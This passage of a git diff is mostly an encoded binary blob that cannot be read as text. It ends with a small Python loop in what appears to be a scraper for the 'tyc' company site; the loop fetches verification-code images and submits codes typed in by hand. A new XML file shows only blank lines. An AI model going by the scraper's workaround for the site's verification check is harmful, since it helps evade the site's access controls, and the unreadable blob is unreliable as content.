z#p_+i_dQcek@8a4U2k@0`Pw|a#@8eSURyS$LFZ}w`lClb{f-^byM$f8dNu!+>vUD@ zWip}5bXe+{;7W3HYlgzC9(yw`Ip|H+m! zo~h@kD+!V*GALWBZ*WdMRz`TmcE`LKuEu9!*zE4ISSx0)->jQbl2I5k>&43^I#cy) z8%%TrZ=rm%#VwZDZ1~OaCmW>_!nd5Qi#(L{{Kth`Q}bI#5#1RLQN+k?Fmroj>}D!E z^*}?!@VwAg+AqnDxJEjj)mq}LT?t{nmV1ipxSnnBq`Td*>jO`=*G(C6y<=G+WwtT} zu93a<#U62;;%DKRI*xw}WjuU}l4nC`Xi2ldd06DlMSe&MR1W@E2Va?0ooi!+64yk4Id}=GJ45>;u@8 zlyWV9@aW8^)0{gtJ~iNlb1P%KT(tWwZ)E4fao$8UGR5D|Yx?AnWowoe0bBZ04jFD$ zd_CP~JjJ2ch=7ky?JJxdUQ@KKF(PPW>EodI5=YFCxVaGSy4YG;GOF|3HfrLdjvW`w zE0Tg^hg@d6iu6I8jSO4K9IE+}uKHcOow1?X~ z`j%x1Jjj15-_-AZJ1Q7=@r|+}Lws|;DjIz=Rak#MnhQ?y&bIO!^w(3x2FzoHWrOGS zbxYUl({oYSW%)%*W7Ka{eq%%kr@krgNzJ_EiO+S=9`AKzVlI*E?u>C_XD!_X-=0y} zNTpEQ>MR*ma-COOs%&t|>4Q$wc`u7|~9;%5$Zk|bn)G>0WN#~I26a_T67Zg&(rwb=_7QeAFADiJPy zgZ%vT1J5%T1<%7A=BH%1m!@-JAU-%pjX~eb;|$dtHjni&uTdrs0l;f_tpM&nVU72a zn9aG(g8o9sh6#7IO-|XUoAog13cAdb%2nO*UpY8lE`Cb}W&K%#UiLxqS|^j2@`@sh zg)L*l4vcl5g*wIitT$!H5sBR~r=xWOd)UV_HK{g2K2G?!o%!j3gJ zPAp=~_Hw(WP$azWvRH)92OX0Hzv0gmAzB?ao|z7R&lY`RhdgG^;yknrp~9LmWTm6X zt&zd_W`SPmSPze8i4oC^^Ws^`&(8J@i?Z#mKd^P~CxT5mC0Y7@jT{Pd!o3)~$5L@> zSSp)8u2t~3V}V`xCPM(5Wr=IXNA|0m(vR&o_4V5d-CIu~!Txa`jJ?)Vy4;sD42dTAo4Z7;Iel$@l%x*p4esg2TF*#OvUk4L&taZ_k0nxwn z-q5#Z)#?s1XIC~uM9AT|vsXmZ1Caha9J)WOKO>sVX1wmZ#!YfKO2&5-!%s9~beU=n zs;G1?O39Ddd8%NsTst&G65!};J*M)a1 zC`x}v{AR^r)b|m0c90{6bQYnI1O*$SBIa18j-EN4UfdDuo}E+xmk1Z%J}l5f0vku# z^EZz#%BN>oVCU|uMTxKPyH+t9sP8od-I(E?8g)^3!UtU<_?kpeM3E~C(q~-szSUf> z>tW%5XpT^&1gjQYjE__YoeV8-(ymc!td-@fK8nM?^eLc{INFk(U{JL6Bei-Wo{0@T z5nR57-VbTzwNW2ePF>WIg%8ckM~ZA@z`Fao7f@m_-&zz|6hpN1Dd^(Rq7T_DPd|H8 zzek9&*-4FYU&1xMU#t~IGY8zQHR~}T*hVTDxHGqYc!IEHnBB+yR$h}KO&+iR4W-&_ z#k#MhsUHCyCa9+o-E+0XU5;^Gy|JFLwQXGq`l*xn^;mT&VYe{!nB|48mad}Vo%{8d z{!3zQFq{(>!v;B&52~Lc^EuTu&3eHgNkyLJf<9iX1uvKm%8tQ81!44DyD@lOzULh% zzRQ~}8Y5-6-`Pkw-xbzVCFttN==B!RgE+h+_O0Qw61)~W-qTm9#C(48M#t5y!7Suf z`6AvUO*G}K;5>5j6vO_fTjy0|V%63SUzMxWn6M1^oIpnPdyB*nsg}0o-AoN(3Ww=x z>AwSut!Fft?x@pWlMCEtN=9E`Zc4D!j+j|mfS=4fKZ%XCntY0IFi zXWtYCg_alhRQjRI{PSS}B6-D-teP7k*uCc8Pv0sk!#33g+=g$9^< zZa!xHmOi=Q{c8f@%M$5snYKNA{ z*cHv3$&<|%0(UGQVTW)z?Q&U6x*g$#bs@Z-up4hVs7`fBro}WugcmSyf4-|rJ!AOG z;r&>GF_{Wg=ph`lGRvH+nT*P!c>CJB7UE1ImdqfR?HI-C{!qrHlT@_4vbhW{=BN~5 zV}xKl%OLMQB*JkqAz2fR>EEK63YPwD z7^tOPgou?ac~T%|@$d(%aab7bC&A}f#8ooBFA^WfkcWu)+VP4q+>gO#GUyt|+Mxnw zzJUF$p}xG)!J2HqNHOVKXpU&KNJzYf=W4`nry&4f!9+4mfsWen^oKu5l{f&S2LpBQqs^u4wLpi6vU#LJN_g;VXGGGT&(7=#{J?eS;}|7m>cf>|U76 zb8w%q@+}MaNOb8Q*akk=8i6%5C{~~eUGU5$^DDdYM zcgWFazQq!l-RM-cDnzC3v)CF%w}Hdo2VSxPY#rt}Odl2S6`CpDPO2i6zJd5ng09Ld zR}>_hS$%?rB!`bP*`V|QWRnJTMc8c^d{i@-A^JDgaDu~Ds&0QPUd;^p=P63F8;{8b z2{J$8_r$eHEj&F0K<|0f0^t!dyp=KgsenahaL9(m0(?`z{*>q?5^`0-T4f}aBSYks z2{x#|ToiUF#_|_P8bkOg@5V$@bHngYBpvAW-Y4R-?4>t&^sR$HIb4>&>z5pYiG&GL zeuDErqzb7Ag3eL_2q18RjePBpQibq(m9R5df@F+Tahqaz%mKsH`0M<~5e$4u#&Tt< z;_H<-ivoL8`iA5}+X|b2XISV65f0K2<`44-1~V||Nx@vh5}g(j02kj>%%H&dj0dLz z@)o4uS46cb#3}~ONyuX=5QtL>bbZgLEFP_A`!}7kj~T}rW4VCK66#?ikJ+{q$fpY!b2LOh z7h%FN?v-HjfXufXaAkewWbeGVbh<4)F4s{q!t`_Hidx zLS(97I?14MeEfda@Juk?=Sc%^HVVnxHRIJYvQShzl7)xK4@hgBi#o$kP^qCw-DzAEL|Y<8odfib+)5_ zsJKOm_4C8;vqmBG5RH z4>aVYVE8YG{VbaNfN#g5@4v_*G27saU{9B>93kMdH9B4~=Bfs-9sim-4$qV^p=c;L zyK9=R)d3G-k((Cd9)SpfD(J5b)pj(OgNCyBNfAGtd3*|sfIyU0Dt6UEY#MLI9p=Lj zeul%hE4mjd{Xl~hDAB?Y*TAVnAS}v-+X}TtrPr`!LHUFga5p$?s)VPD@cS0yPzZ15 z;8Z()OQeQctnm=N;c*F}_?*-n>M3Wk7$~ zaCZrRr4rE)JWfblEx}2uJ`>VUY?{ODCf>7@isyKK0*7VYG}v5UwH z2iz%Q`SH33c3q}KfI!DTWU5`mdnKc0qmHJ)i$RalNO01kJgief6gq?lo=NPsW`=iT zm8Vw%HdzuB+h@m65r13K|0SngV#oEc)XQ18C5y<`eo#J54w7oVW$3LJp}$~y)VFCP zJ1-q|U>EJCKP|>lHu9!MU$&4ePihRF)@&N1m|#6^l;~SBo+je69lPHCe^tE+RMh4l z_5Wm_eZnf68W0g&a6m*9wE0^6X2?;>szEOE zRTdwC8^Suj2LDKChh)7aVAlk5GG|TTGG@DwFD-=N+J5iC*;l~&Ou@%-)Gv~`@g2&- z!$6yLylDM~HZ7AuG;a%2>;qgTPBv^8t@k_fX0D-59YtpL85<@c4;*NGX3AN|u9#%y>9?9cVRP$-B_qUooR`D?JL@zDE2FjLyReYg@oMR04)|ndAU3K*F@tl>y zg=k>?mccf;sAS1N^W-4~ncax~=z#i1eFkG+B%|lwF}}_3`BX4jWb1Ag$&e%4MDk}B z(I6Agq@C5uDzk!5r>P496+s{aC2E3(`l(z0Qt)}7H6_zO|4$}PPGo5dm>9WP0iV|kh4N# zK!c0ysRA=Zg5*#ZnldYO>F*mn8FaXGe;I@BlF-+GQeR68^7?M94I5T!CSoj zC))h^Ytw}xxP|RqEgODf;IlKMtlfCQbkBiIaS>M_8Mad=mxtM_*?pgiwjF;W@h(tJ zn~RW@qr|~?SnIvARS#%`0EjTf)ELNO$4l+JHeWH#(-sSA%ir9p_?^JVg%B#RG6abG z75U_Ym4`OQ4T>v>UOGlA|L&8x89`CYe159`8r!mCc;p-<&!uiE8b79Q>aD;rqrY`K zloa}BpCIhe_^}^P?Kin`?P;bw-)%+O^P)#rKQl~g7}gcWCsv6N~H9yMkid8~5Fysc_HLauDp{iEiU zXL$LZckIvebVZ=YhUL>p?i`mi&!76c>9?GS&Q{ecyGT_1{e?Z5Fl2otIW zlmF{iFnMLhqpgd?94s${nLerqChtfG)`zV+l64_2W2fNKs<(MLK^`4amOi#9eO<-q zO`aDTnuvkLj2yjmUUA{(7?-GS3OpVo&}Ac(eZpuK4`H^~JFEyCD)rY?T5!*X(QN4qw6Ha26QLk* z?vHaV*IqTAeRS~AoAz40D<%UGbnx<_^UN)+ONzSus{G9_ZC9M9?^m6H2s#L#tJk}3 zuRVIHzU^DM0+-7r=iA!uwdvY_2s$Txc+Njs|5t|t5p?yx{0?(ccb+_L)1O?ZKhyT6 z;l+1d5A63c?UnP^gR|d4Q3hVU^XLpr)t&4#NmtR_xHfMdk^QPWj_M-aR zwwpJ*;B!r1T)A4(<}A6>aHhV!^q2dewqDilJh}U-MQgaILDXE!xpNO&T##CKrR?1O zs~SYm-MRVg8|ULgeUqVV*Ad=0JpN9}gAEWw2Y*G$$Y6N+pMH1zOc~_Q!K?MJpZ|8W z5w5`HKmHtCaUN?t>--$9v>ohf2D)&$D^Lazba(d2T@okA1hjJz(i8()yF@ym%eN{-*EN+scE$*zkhM5?&YPk_fB5={bWVs)vfS{Kz*vM z{a#y(*4A>S3q;rQw5{`(J1zU}wEqY}bP$yIAB*nys|UI^zSO0fK`jYpogQ|!Uuh}% ztGyjk=zhC;zP_cc@vFU%MOSudcip9CxEV}5HJ`i#Wuwz<*5P!*XTfj5tywSU&p@VK zI>Z;pPbl0LJ%8Ifx0JkbF@{7J|JT#7??BrZ&G%9%}9}+*y4wc4k4;+IeFuKVxp6PwuM{Z$sEv z4SuCYjQeD&ah9|47Fltdy*t%a;qlOjMa^n2Qh)8YE1F7Y%2v#)st)co@n?Lf2WrRH z5B_5nnt8y>Z`ypr_;2In?fs_&ZspxPGWQmZoH?d*&jD<-sYl4K#m-TchxQHhSpC%b zXZakTf(6S&pRhi^{k&jVizmHxV7JB3rwv}*7!>Dr+VI@iJ$4qIU`b7>2i<&Vm@rtr z_uyD;{9dGBWnR&}ZK0pHfdX^JonzXdt_*mIy4B+EQ}c=xaE(aOE-xlv}DfKGp;VD z+ULdf@-3d(TCaTDYS-CHf6MXxc7N~2vjh^8530SU9!lRvCkl}AH3BK^TF*T@bykXQaaj(`<6FPH6%khyRwUf8IXSX>J%)7Ncg&qkGm~Ar! zq%ist9yi8(d*$=7XWoAinBR%5Tbz?K`5av%+LFsEaGx~s%*~$Jq0e1(goC-}^*0+B zKXgnub){R? zl-nhffJf%yO)CCxk+21OkmxFinyJ&c=ioN5%{{y>qBzW()hldo@oK5xd*4sav*V6y z`9_OaF6L+4p)VVLRd?jaOibxJHfrUOh^zFcxYNnL^{DKx*?Po8q-N4M~Y!jn~7TvlH9k#70pW|jLU6(P1_)xf6J^|*PY zz;7pQv(6GNgwLp$T1VgTJkT(hsSHn`^MW+Q5~oyp6y%(m&GP2S zK4Y*1#%GG#Vi#{SCt!38 zs3J3VpaGVHJ&by;DJ!D*ZCYKq4#d;(3D~mZvYWf4T8=r0=~V~37I$*!hzI-gmLJdb zIRVohZAgK+v5#R1UFflSM}AK{E_?YA1dC4HKIu>#xl$UFc)_tPJtfeq{z&D5r(z)- zv@eL{QSY51>DwCb)00L6R?GRM4%<0HS$F);LVFt4Jt%RM<;JAKXeAL{UzFoG?~^+; zSp*AXFl&bdEN_B*B0?#AU)=VT#!A0~t?>)?vOV7sPI#|NylgAkpYJw{Atxt-5r4?| zhyBZO;bO%U8hX5(nZ~u+Eaa(M-kjl>TTx<#cjS&uJ_$Cg*PFt@E&`<&%1`PUcs_`IP=Q)XjZ-<|1=WyqC8-A zBI*zXTY205?$e48zmjDIA!%)BGG7tpr{sCmO^t=I!1BuO>YwWm(C7hoNv4wt~QFN}GlmlMSc~NEcc<z7-?)9>mZr-Vve1VGLWoLTs{JKZ2P%wW8>> zVF6DJxo&hNxxO|ICp5A94M;W1uf+S70vue$LoGRoTwD`g#o)8}a^k3(GY~=(XO;Cb z*w!XpHI}c5FN-1LN;g`^)SG&hHKBhoM{OhHkK2oK0q)3k&lPN;p1poD3Ru`GNA5v0 zVw#}D#rn~C^eo+L+L3C9C~hRvcw18Ott5~P5>WhA=Z@T6|0*c>X!KeVv+63Gp)@od=*1} zvOIv$s5BkV77!0Mhf~R2(((zqp_T}DwbO>vAEsatu@ z$_hjagU*4P4vjy7Lns|HI!KkqVFqTtVx3Q0=5s_6W4olyc%&I$h*VL#X|l`2JBSk+ zvF#v;=77OU>mRE8Jx}NA~6Y%aoAT1WMw6Fo3UNvv8CP6 zsSY9_gR-g?UzhM9Aa2vPJ)eN>tl%dji$&rMZCzWue7r02>vBBEl@S6AaeOwQ(Z5}I zy-0XSkQifssS*$`SIHadI75aCVm0yug?h=Ob6`))A?nCR>Me#`#-V{S_5rjP%lPCS zAVQ{I(O48Pl=Ap0*wdk+zh>Z<7|52Ha91JI6k?qVKL=wi>YA`Zo3D(7=;qrJIkBFs zcV&b-Y%zj)V6^Qhy)8z^M{Awdl@3d!j>l`(1I&=4G$cTgK`vX6N=^z!N6~mH_x4vX zfw&*L1?I9U0Y~=9j)gDf8Qv_2m2$&c!6FwHQb71=o8DiuwTL$@;HU|VIYY*>fMsGJ z@%9^X>N2E`C0|JBM*t2QOe+=hA`$aoh)1re-Ws0ju&rRpghB5u<#ATQJXY9acq)jc z1}k`y1D~Tu`nkv~j_7#+$$8J7#o%ikrZ_-elCc4o3*Q%aWFAGr3eE0s@MjekBOp$3 zc5jy_rFQ#S_| zqzsH_1OC$R13Gqshj=*{K0sDGkXN$(a~Smg{tRpb$)HD$U2!T18-i!>$Z|k@ z#p5q|QQy5F6UML=!soA1oO&Wvxal^l^&l$1M9TXAnv^7Ywj1tT(t!+?@$Ut{^{*WNFqUN^rs*T10g?>x+kzPu zStMzO0vhiL5E#k-N1&ovq?xtPet{*4SO{Z1#UK&7^?kY%J)wln;U-_4WQ${LqXfFb zl`)@3SJLRDzG#bzU*hd$$1tNnCTpgz7{tIM6Ik;B8RvN9veC~oHyZ1hna$~{9H-hcx6=EaS|s}Ehm+_Y!^cx;W_+0b=@pJz#GBUerl0gN zf%T_!1xBmMk6iD6DI!-=r^Jcaz*pEDSH?xYG^Zcl%Yl9+lEb*KKP)1{s4{Vjxo(j4 z4o76u_*NcY)XCeWWu%8}ZO}|>9bBW}7q9L=3W!g5(<0iu8c+}ZCPO$l>$NArFp&dJ z$fIDr`nhb6X6-M*;K5&$ml^9|Z7Xn)4{5(MFuMWBJ1kWE z%aT>{f!6KlP;82VMm7*nWa_2^_XgyW_xvuo0u9pQ(SUj)V&?;~N(CO3sf&{7lz@!T zY{{A}3m|h`#$-;-F{@`Zyiv(bR)~e19n$8YfgzdOdyTfaah8*e2RxU4j|THL)FANv ze~fQXh~bT3cwVnpuvv+ty!BFx<~eZ(HUBI702S$MfOtXO*uvrS8QgFmj}?jS0P#Le zBn0nyf}stb-(sDkwu&I!bSG zc2TxLDBn9W!m?9W>)1XX8THWo^?qP$8hau5?bD4Z8a|6g|I*QwQtZzv@$PYWTtj?WkUJg&Wdvw5gX5j( z5*mG*L4))g^E&V(2yc@SOfetR(Dzg@9=>V&KL&u9uaOtbU~8^Df+=0-uzHAIQzX+e zJ&sV+7#(W{mS^kza&+Syh>_I0Eo07opiv*d@kB^zkb*`773LDpSb(oUKCMG9k){Qz zkRg~4{zzqOgiRoCvgAVsr_WRYmh1&oAKw1H3-?K}<(ds+So=tsdMS~YM00b7@n5K0 zij<&0ZEyaJ|Kr&kP+!r=>K0S(V^cPdrBvMuHGnb~QqULOcmNwD67dXrPQ_1?mi||% ztr8ljzWWmogHBkYKmK?BYiY}>YC3h(ZU*{BO4C_;tS~aYhKN_~>u3x%fBhuelA$&v z0*)o)8C=pFIU>@m;k?VZlqsFP=SE-Fw!(Gq5C97R6~yD-vOQiU=Wx~_6)Zex@_>9y z4PT*fHeV-|oOvy6Z zMZKnBOc{UA!42b)lhAv^8*;z5k5Y-dfcRcBjb}_N1)?8=T#$h8dNN!fq0ZCKWYzMB z?_#mDO3qsBCyW>O>k7TRX0}|oy`1%rW{ncdw{jnn(2v7&iTZkvXwo;^KDVCfq)N7vj zo~wQ=555E__(eXU*f>(QO;Ek31LF-2N+0-uP~>O2G{Ry2ahz?8ZsKWMghH%!G{gwR zY}N9WALb#3Wy_YyD*lB4F_`2+7naHX9-@%RiZNT=Jd<}WkS$==>Z>9)m_|Ei+-2#~ z^S@>Gm8r#mdSB@@_EpU5T*hJY{H;9N4cLY;_;dx|!xR7!5pHxqLl?--d;IwZ4x8F671^6u$gn$s! zIqXJ{(hK60H3HJ8z{ER#%VFxvQ8B!69AkKO0I9toBPHSDxR{>Y<$^(H&% zEZ`P@#S)Uitjtp@ZUA5F4TI=&sL^{wR6xFKZuph+K~lJodGKWQ;h;-*^s5PlyNbpy zE$}(BcIyLwJT3|M?=@lUmZ8z^?9fpmpNCJoy;3^keZW-QGgYo%Rylunzt}8UKKiOW zKZYEnhem-aF3z9tog60Ve=EObdG5dvLsh?gj?>_m~M=7l$H~ORF3zEe!w?P9o zZeH`^16CNEZr(Q6*h=gPDHw+Y&MB=beI1fmI^8xaOY@!v-Mgdqx%P;p);;ugYvZ-5 zUvGuIvpK13(cJkTotk27PUM)J2Hzo8vO|2BT(@UfOybdqxw-TDE0sBE#cwM8yB7%6 zpT(Xx1Qi)dP6y?qg3tWIz>#YyQ#W|pS7;bBDbF}ODl3!9{y0$&$gZh>WcvNU>HS8d zEbZSnpyIo{Ez`r5!0m(bt!|9R z$t?G)PCwO3)LYHv50AsEr%!hY2+d8Wn%nMlJbBQe-}>RgiRQKoZ8b-l|M#n(InOrh z*PlDv;AS0q+ts$R=F%H&rGGS6l{9=`a;Ea*t2ZyJ&Ql$KKWu*8&~fE@bJLTnRaJF0 z$6HTbyLzFiTJ-F7Wk*YwVsQCnS+k}+Z+E&{ZeDwR_t~TGI-b2~XgO8)=)|Fi z`OfwS&pUs9cC|}ideHuTv-5hh^K6InZq>=+E6!?|@_}Mbvv#`ck!ZJI9H%7yPTi6e z2unMDa>IX+Kd7;kXosLO2DkbDmjCpnr%!%3esb@BH`Y3vo0TJFC%)^bDf_{>=gQ%- z|MZ_a*B}3hLNEYSQd(SBdZoE(cXRD-_`jN~yF?hcoOK>5c~A)3fZ#gBztugG>S{iN z>rUmn=I^`Y4!G2nb!B>*zd!f;iKc6(uGhW({qm`%Kj&&ob=|GvvV%vPTh27M-|J}qxufNNb9-4ce34tOb+kNfzN9r@J=@&b*xd50 z?ow5AOL6nnuH8VrR9t?w80t9#d>YP-PBIVusi?7GauAL(rp+7Vgq9m$MEz4EKM>T> ze!XG}zHsIOcmHltt5qhxDks`M+|YVjIj|+#y5YP!-u2BmKez9yl8bK7LA-qXZ9e{u z`;F@1xOY_Oi=Z*p0d4~xG`i*F?JL0F{w)6p6)!a)md!L$P9<)(44GP*$X`bL%*l*Q z*|B@xMl>_Ks+7-Lh1z1X+jEYscy#UJBKpR;(3*m+2H(R8hvLMqjYImFTCb>|%84fP zhIOTi6!KAor&&Lp4*&YSGe>*sM^bVtl+~h|AL))2S^Vc+zbbt4)xJirj8|@J$B>t) zA+~KXu0F|QyiMa8JDDAmGJHP%Fr#tp%FAEby|XW~MMuyp?~RDaXe(OafsQ}LW$e{+ zqnEm-#M=|y#4+fa6t{Ty<&2h(dN?2DMFiw?nA`m3NfS*Q0)zzjgkWKt$Cc45*zP~6 zY&kBKEsGzzpiv-#pKb`O!AhLmR{vkiD&HP_*k?za-<(=4*Db9`sTe^WQF4jCa(N-P zY}N|3`(GO(Zn|CIp&30jMkK7YZ{o*T-%9?jVrV~2+2}u(KaJuc`%lLkt{>uZ2V~?w z+Gdvn#L+_z2G5W4PMEV_^v3UGRwAis92J`BS)c0@6Y{(eHEG~u(~aYqm&uGYrqVV! zW&dbnXPReIRcr>gpBVBuA!4l2urlzbF~l*X&_15Uav_3$(q^9tdmWbtPwt3k!xB^- z^KaRCwk}jF;>X)tcHSzmK>tTg=nowq@3pTfb(H(C0a10{7FW{*WBrjPIQUF?l_*QxI%#XS*}*zy$vS>eGz__uy3yFDwJF};Rw~9D$2B^Z z_^pnSYXW9?x>Y;+wLMY?%|DVe-s+H8)@)DKu2Vg?e$oip;-lis1DG>8ZpMJ-@v!jQ zfq1i3T;TwNkhgL85)O>>D=F2tn7>SEig$~wnlzRh9B{g7?b|U-&Cr`-d}QbF4FaUQ zl^8Z|v`pN~6V~y16Na0D>kGrH#YwqtOI+obO}q-q{RcP?Y`>cnAmw9MzSD9E|5=kN zOwN)Cqs-%?c+`^mM%r$1#UPj^{7&T<^U1Q?1^#})&ylF#OR;eyT^v0+BGM-_4qckB zl6X+C1gkw3^V=-1Hk22l+NQV!|JC{Jg+sIMI0$BmlPNSr)e1&S?=*CiwLW2R0oprJ z#4bsDAzI4Tq56%SQD|LLlr9Vit-$9<1u>0Gz+YMMp^fPl--Jco|CGjhgsN27;&j48 zVMmm)=J!0)eF78n{5LxagA?Pd(QETO&a>OQ$Ee*q!!_1^gCTwU%Y;>dp>G)<$;KmV zApY+w7w%RSZ8y$Z)f@9+8EKNSpde{Xyt1H|F-0HKGf5NIOX?>ZirJns*n%N!uc4p*$hxsS9$c~wNt&Ez z_S9`$s80H)RYsTY_alW2;ZHbWA~uxpeNi92q~oM#hZU4BPGf#EqUy zAji8_wns4)woph9N>O`W$tm=%VRDyN?f19fxr0*T@;AiDK1+2q;A%bI&!-&mi;43; zE^Kqp59;|de69gPu19d7(KmK(_#Kz!^jyCCgfz-MCN4E#uXxN*+DW+;=WGmD;=0jJ zY*3My7n3}S=&tS_(23wf(tx=!3mrZOzz~YoJ(7*{u3JtKC9+p!jEMTgjPQ+0N5fW( z>3N9Fai?DfB(=u7ZC*wN*X}pGlU3>98K#?X&>Za`N7Nv8oC)-t)>;|+M_g)Db1pW8 z0G2v1ZxBD_`WNnT$F$S?-n3S`$=wZ);MPTV@eVb?9sL&a(5ooVk*qn0Q zxFNK_+vmtymZDOQFJTiChqz zoQ_UyMN&Pu?de51$9fAn_DD5l#*5o%pqAH3CV(xmB~5cOonr@oCgypUviNct_@8v6 z2CR%jDnKsQ%zIOk-7Socv&^_pdAtB_?>OVLvo+MsHOe$&bgp-W+^;A5FkrGg7Oj%) zzA5RZulBHB2jq>BZ$pE7366^2eqz|=ZvJD0ZKINmU-cPYP(lZt%@B*I}$ zIY=yFY?F)g{5w5`V7Mol*J|;0L9;G_fxLO&d{p*vXSS@EPOMiInU-Lz@&Ck%AZ&xZ-B{|x|Ml+#m^k7X?c z`5{otODkr3^OLswr>VWqGx={Fh#+Czq!`?)Cy0-cOt1 zU+0c&nHjg^#0oHyVJt&vrhA}*^wgNbSXuR%py&FDyk#hp(_?@}gtJJRNCxslJZZ$C z0AJ3MQXQF6P4@nT4AUq-nd}7SC-k5i2Vu}H=Xokoh59=3SU_P#!n+#!R10{aFZ0%j zP8pSCWU3rCu#lJ+h>n-=mr9Vu6MX^ER3erTg1r{(5*YD}59>W8l{0_^g3%(#t|}YKHwOV;KJ{K9zis5a~JAIBX0!zNY@aEuU{o%lLRn9TxoJx z{^8BzWYZFW{U7hXo%70JSB6~zh(bahxJE}8X)2^Jk~A& zXd!+Ej6Z1;pGo$DAdtvY-#P3{L=esshk0)}`H6;DGr@LZ1)8AS(m84>ho-9b1#BES z)iQ=n9jT*o0lJREc^ZO|+_OcDa*h4)fVH;^kCef?D(MZdQ>O_yEJ+f~{Y31vg3gkt zeiksn;-`wUgD*!p#|!%?R}!XNc9 zK4JabT$9O@@qp&Ngs zVmr=)-7ef;M$QYy)gl$3k`uu@cRxn!#loe)I8G#RWoHeK_vWeR{Op+y#3oa{67Ywe zrR(02mzaPtSH$`W*2{E{6QjWU07DqR)w}#Ht%+V_8(0kl; z4EI(oivbFQetkqEjJ_ne5;9a{Bs(mZ#VHZZawIq<>IDnSu0Rz-W&xwbdX05r?Ujiq5ZH*kdShYuT*kJ`-LzB5WX4kq3q^h-Hhjn5m*qIcH zrm?B4Vnc4B&v>&pWZnxKI)SMlg9W)Piy3MG196||F`5`b8(S1~E)Q(&?_5_qIl!YiJMJ{StCOh=8V-YQj|hi~m=!EaN0-Tv<71t-1AM5U6IJTO zBYUl$@|Qq8mC=+{s6?Yl%k4C08z7L==D+(FZy&9r)w<=xQFM%s|D1t@DYo}HqbF?+ zqD?DgkOYjsaL8=QGy|%YGBxNmQm>#lRb-(;dU6&&1)_L3Vt{MJO${6Eut#aLlNKTq z7;>G1yclShEa9-fYc_{EIeU#x{K!!4x-BKu{zNlQiaqxQ2PUsSH|d|@O(K@6+tvV6 zv4BN!?{$KRa1A@mVHuivw2OR?!KU%}Qx+Mb+sD4JN3`QB051J)S+1k~C)xaX^&?KnqyvLr9#0lY;j zA&xNwOoFxm;|O+pmc!DaSi^bj7s<3iG%kUMO9uX7V*l!BZyoH2{chUK?^0%hc5!~Y zi}ZF`QaWFfBSq4SO+Bux@r18p=IrL;an&-2RfyLTt~h9mb}SrvK?M5>(WE($AuKt9 zL#HeLMgb1kiGNkgTF!KtwUheso1IkLW|^NfQ@0W9TLc)tAf2z8v6J- zdtV(@G;*efJylTXLb%8gb6mu3&9+d3zNlk2W%~rzE{wO*yTJvg%DClWFvU40jy66U94RDeW3rqLN<(l3HBqzijGcHWl^>{mA2u;OsL7!`Ulw zZRlVZ0SzoKSaFE}#>4X=m!FaSuk)lSq8W);Vz5h@=2-Q2t-TDVR8uDiO&(h!vI5! zY7M;nQJ4TO$^r(d?}KXblccK(_`M!mrEcOid4zVJhEOV zRxmJrg~qU{O%i^S#_Bb*dm|pASs%;R0W2OUtr)u#A`va`yU3$okgpXaT1ILle!s85 zL%~0vjP2y9*SgImV1qlgr8Tt8_d4>1M%q>Thb*4KB94Y52G_CGG|?_%zB+MGwH(&T z*OFl*Fn8C;8Es&g6)i#}k{kqpt3!4|UcyAi%lgK9BhJBO^(@jg4y)$sFq z2{C{+q+tLolj^oFo1DwoYb=RMOxUm_ZHKq{8?3Uy6?v_vN+vWOR~(PUFYYK=w>!vxEs zZRf`+L^adWhc!QCsPpXZXo(~D@_!)SDwhMFW2`I=gN*8UV=>o{tiOzypn?Pkbn+R|0LJp=02tZ^rF zfe7;v*FS2{jtYB649NVQx1E>lHQ(7iXk+hA2U7Tsz084JW9^iKOd;NR<}i(8jRP*C zH8eV2HHXn55ghWN5tkJ7CzmCRv%hf+eIt_D68v&*UnLQd(1a=W9r}kAoUTaP6~3T< zk#O*E(Z2pKnFTT2^?+l2B9Dj4?vD+F`nNnNnlv}u_R+jj)04`FY{J>FcQ=H_1y1ZK z^}sj8INMJZ5We@HE}k@aBf2kW8LaQUeBJs{kE%;)GQZeo2PAfPkJ&e86^)a=DGFFCE#I{16KA4FqA$Y<_dDMH*ej?a0%Qi_Bj4Q}`DEi^ zxx0JHh4`w7n#FTBrKDvw{{_ zC@4XnSPYKe$X>j3yZp<^RgRjRHSr3%EBj}$24Ot4f`WxG%~vqFzkuX;6$d|b_y0IC zGr+OfDQ-azY1KKyW@MH71beE8uXS$Rez{3yOzt_l73`=dY)+{bHJbb zf@bZ#e_s3bMm&o_+-XlI|HW)IYwT9{#L_&JjB*9-3Z7HTe(uqq70Ku%Ir#JJV@i|F zH_J!f6kK&=zPXn|H(6q5xaEAbA<|h= 0: + _get_code_img() + + verify_code = raw_input('verify_code') + res = _post_code_form(verify_code) + if res: + break + c -= 1 + + +if __name__ == '__main__': + fuck() + + +""" +注意 js substr substring 区别 +""" diff --git a/fuck/tyc-num.xml b/fuck/tyc-num.xml new file mode 100644 index 0000000..de2b3ce --- /dev/null +++ b/fuck/tyc-num.xml @@ -0,0 +1,22813 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 